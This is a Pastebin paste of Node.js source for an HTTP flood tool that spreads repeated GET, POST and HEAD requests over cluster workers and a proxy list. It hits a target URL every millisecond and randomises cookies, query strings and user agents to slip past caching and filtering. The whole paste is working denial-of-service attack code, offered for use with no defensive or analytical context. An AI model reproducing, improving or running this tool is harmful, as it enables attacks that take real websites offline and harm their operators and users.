Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const request = require('request');
- const cluster = require('cluster');
- const net = require('net');
- const fs = require('fs');
- const args = require('minimist')(process.argv.slice(2));
- const proc_count = require('os').cpus().length;
- //check if args are specified.
- if(args['url'] == null)
- {
- return console.log('URL must be specified using the --url argument.');
- }
- else if(args['type'] == null)
- {
- return console.log('The request type must be specified using the --type argument. (post/head/get/rand)');
- }
- else if(args['proxyfile'] == null)
- {
- return console.log('Proxy file path must be specified using the --proxyfile argument.');
- }
- else if(args['uafile'] == null)
- {
- return console.log('User-agent file path must be specified using the --uafile argument.');
- }
- else if(args['time'] == null)
- {
- return console.log('Execution time must be specified using the --time argument (seconds).');
- }
- else if(args['repeat'] == null)
- {
- return console.log('Repeat amount must be specified using the --repeat argument.');
- }
- else if(args['threads'] == null)
- {
- return console.log('The number of threads must be specified using the --threads argument.');
- }
- else if(args['mode'] == null)
- {
- return console.log('You must specify the attack mode using the --mode argument. (socket/http)');
- }
- //check if files exist.
- if(!fs.existsSync(args['proxyfile']))
- {
- return console.log('Proxy file does not exist.');
- }
- if(!fs.existsSync(args['uafile']))
- {
- return console.log('UA file does not exist.');
- }
- //error checking
- process.on('unhandledRejection', err => {
- console.log("[x] Internal error occured.");
- });
- process.on('uncaughtException', err => {
- console.log("[x] Internal error occured.");
- });
- //save files in array.
- const proxies = fs.readFileSync(args['proxyfile'], 'utf-8').toString().split("\n");
- const uas = fs.readFileSync(args['uafile'], 'utf-8').toString().split("\n");
- //remove proxies if needed.
- if(args['max'] != null)
- {
- if(args['max'] <= proxies.length)
- {
- var left = proxies.length - args['max'];
- for(var i = 0; i < left; i++)
- {
- proxies.splice(Math.floor(Math.random() * proxies.length), 1);
- }
- }
- }
- var s_requests = 0;
- function s_random(length) {
- var result = '';
- var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
- var charactersLength = characters.length;
- for ( var i = 0; i < length; i++ ) {
- result += characters.charAt(Math.floor(Math.random() * charactersLength));
- }
- return result;
- }
- async function send_http(type, proxy)
- {
- var a_url = args['url'];
- if(a_url.search("%RAND%"))
- {
- a_url = a_url.replace("%RAND%", s_random(5));
- }
- function setImmediatePromise() {
- return new Promise((resolve) => {
- setImmediate(() => resolve());
- });
- }
- for(var i = 0; i < args['repeat']; i++)
- {
- if(type == "post")
- {
- var data = null;
- if(args['params'] == null)
- {
- data = {
- url: a_url,
- headers: {
- 'content-type' : 'application/x-www-form-urlencoded',
- 'user-agent': uas[Math.floor(Math.random() * uas.length)],
- 'referer': a_url
- },
- proxy: 'http://' + proxy
- }
- }
- else
- {
- data = {
- url: a_url,
- headers: {
- 'content-type' : 'application/x-www-form-urlencoded',
- 'user-agent': uas[Math.floor(Math.random() * uas.length)],
- 'referer': a_url
- },
- proxy: 'http://' + proxy,
- body: args['params']
- }
- }
- if(args['cookie'])
- {
- data.headers['cookie'] = getCookieString();
- }
- request.post(data, function(error, response) {
- });
- }
- else if(type == "get")
- {
- var data = {
- url: a_url,
- proxy: 'http://' + proxy,
- headers: {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36',
- 'referer': a_url
- }
- };
- if(args['cookie'])
- {
- data.headers['cookie'] = getCookieString();
- }
- request.get(data);
- }
- else if(type == "head")
- {
- var data = { url: a_url, proxy: 'http://' + proxy, headers: { 'user-agent': uas[Math.floor(Math.random() * uas.length)], 'referer': a_url } };
- if(args['cookie'])
- {
- data.headers['cookie'] = getCookieString();
- }
- request.head(data);
- }
- else if(type == "rand")
- {
- switch(Math.floor(Math.random() * Math.floor(3)))
- {
- case 0:
- {
- var data = null;
- if(args['params'] == null)
- {
- data = {
- url: a_url,
- headers: {
- 'content-type' : 'application/x-www-form-urlencoded',
- 'user-agent': uas[Math.floor(Math.random() * uas.length)],
- 'referer': a_url
- },
- proxy: 'http://' + proxy
- }
- }
- else
- {
- data = {
- url: a_url,
- headers: {
- 'content-type' : 'application/x-www-form-urlencoded',
- 'user-agent': uas[Math.floor(Math.random() * uas.length)],
- 'referer': a_url
- },
- proxy: 'http://' + proxy,
- body: args['params']
- }
- }
- if(args['cookie'])
- {
- data.headers['cookie'] = getCookieString();
- }
- request.post(data);
- break;
- }
- case 1:
- {
- var data = { url: a_url, proxy: 'http://' + proxy, headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36', 'referer': a_url } };
- if(args['cookie'])
- {
- data.headers['cookie'] = getCookieString();
- }
- request.get(data);
- break;
- }
- case 2:
- {
- var data = { url: a_url, proxy: 'http://' + proxy, headers: { 'user-agent': uas[Math.floor(Math.random() * uas.length)], 'referer': a_url } };
- if(args['cookie'])
- {
- data.headers['cookie'] = getCookieString();
- }
- request.head(data);
- break;
- }
- }
- }
- await setImmediatePromise();
- }
- }
- function getCookieString()
- {
- return s_random(5) + '=' + s_random(5) + '; ' + s_random(5) + '=' + s_random(5) + ";";
- }
- function send(type, proxy)
- {
- var a_url = args['url'];
- if(a_url.search("%RAND%"))
- {
- a_url = a_url.replace("%RAND%", s_random(5));
- }
- var prox = proxy.split(":");
- let socket = net.connect({ host: prox[0], port: prox[1] });
- socket.once('error', err => {
- });
- socket.once('disconnect', () => {
- });
- socket.once('data', data => {
- });
- let userAgent = uas[Math.floor(Math.random() * uas.length)];
- if (!a_url.startsWith('http://') && !a_url.startsWith('https://'))
- a_url = 'http://' + a_url;
- for(var i = 0; i < args['repeat']; i++)
- {
- var cookieString = "";
- if(args['cookie'])
- {
- cookieString = "\r\nCookie: " + getCookieString();
- }
- if(type == "post")
- {
- var data = null;
- if(args['params'] == null)
- {
- socket.write(`POST /${a_url.split('//')[1].split('/')[1]} HTTP/1.1\r\nHost: ${a_url.split('//')[1].split('/')[0]}\r\nReferer: ${args['url']}\r\nAccept: */*${cookieString}\r\nUser-Agent: ${userAgent}\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n`);
- }
- else
- {
- socket.write(`POST /${a_url.split('//')[1].split('/')[1]} HTTP/1.1\r\nHost: ${a_url.split('//')[1].split('/')[0]}\r\nReferer: ${args['url']}\r\nAccept: */*${cookieString}\r\nUser-Agent: ${userAgent}\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ${args['params'].length}\r\n\r\n${args['params']}\r\n`);
- }
- }
- else if(type == "get")
- {
- socket.write(`GET ${a_url} HTTP/1.1\r\nHost: ${a_url.split('//')[1].split('/')[0]}\r\nReferer: ${args['url']}\r\nAccept: */*${cookieString}\r\nUser-Agent: ${userAgent}\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\n\r\n`);
- }
- else if(type == "head")
- {
- socket.write(`HEAD /${a_url.split('//')[1].split('/')[1]} HTTP/1.1\r\nHost: ${a_url.split('//')[1].split('/')[0]}\r\nReferer: ${args['url']}\r\nAccept: */*${cookieString}\r\nUser-Agent: ${userAgent}\r\n\r\n`);
- // console.log("[+] HEAD request has been sent. ");
- }
- else if(type == "rand")
- {
- switch(Math.floor(Math.random() * Math.floor(3)))
- {
- case 0:
- {
- var data = null;
- if(args['params'] == null)
- {
- socket.write(`POST /${a_url.split('//')[1].split('/')[1]} HTTP/1.1\r\nHost: ${a_url.split('//')[1].split('/')[0]}\r\nReferer: ${args['url']}\r\nAccept: */*${cookieString}\r\nUser-Agent: ${userAgent}\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n`);
- }
- else
- {
- socket.write(`POST /${a_url.split('//')[1].split('/')[1]} HTTP/1.1\r\nHost: ${a_url.split('//')[1].split('/')[0]}\r\nReferer: ${args['url']}\r\nAccept: */*${cookieString}\r\nUser-Agent: ${userAgent}\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ${args['params'].length}\r\n\r\n${args['params']}\r\n`);
- }
- break;
- }
- case 1:
- {
- socket.write(`GET ${a_url} HTTP/1.1\r\nHost: ${a_url.split('//')[1].split('/')[0]}\r\nReferer: ${args['url']}\r\nAccept: */*${cookieString}\r\nUser-Agent: ${userAgent}\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\n\r\n`);
- break;
- }
- case 2:
- {
- socket.write(`HEAD /${a_url.split('//')[1].split('/')[1]} HTTP/1.1\r\nHost: ${a_url.split('//')[1].split('/')[0]}\r\nReferer: ${args['url']}\r\nAccept: */*${cookieString}\r\nUser-Agent: ${userAgent}\r\n\r\n`);
- break;
- }
- }
- }
- }
- }
- if(cluster.isMaster)
- {
- var request_counter = 0;
- var workers_left = 0;
- console.log("[+] " + proxies.length + " proxies have been loaded.");
- console.log("[+] Process has been started for " + args['time'] + " seconds.");
- console.log("[?] Running on " + proc_count + " CPUs.");
- for(var i = 0; i < args['threads']; i++)
- {
- let worker = cluster.fork();
- // console.log("Spawned 1 worker.");
- if(i == args['threads'] - 1)
- {
- worker.send({ id: worker.id, proxy: proxies });
- }
- else
- {
- worker.send({ id: worker.id, proxy: proxies.splice(0, Math.ceil(proxies.length / args['threads'])) });
- }
- }
- cluster.on('exit', (worker, code, signal) => {
- });
- }
- else
- {
- process.on('message', data => {
- var int = setInterval(() => {
- for(var i = 0; i < data.proxy.length; i++)
- {
- //send request
- if(args['mode'] == "socket")
- {
- send(args['type'], data.proxy[i]);
- }
- else if(args['mode'] == "http")
- {
- send_http(args['type'], data.proxy[i]);
- }
- else
- {
- console.log("Invalid mode specified. (socket/http)");
- process.exit(1)
- }
- }
- }, 1);
- });
- }
- setTimeout(() => {
- console.log("[x] Time is up! Shuttin down.. (" + s_requests + " requests sent)");
- process.exit(1)
- }, args['time'] * 1000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement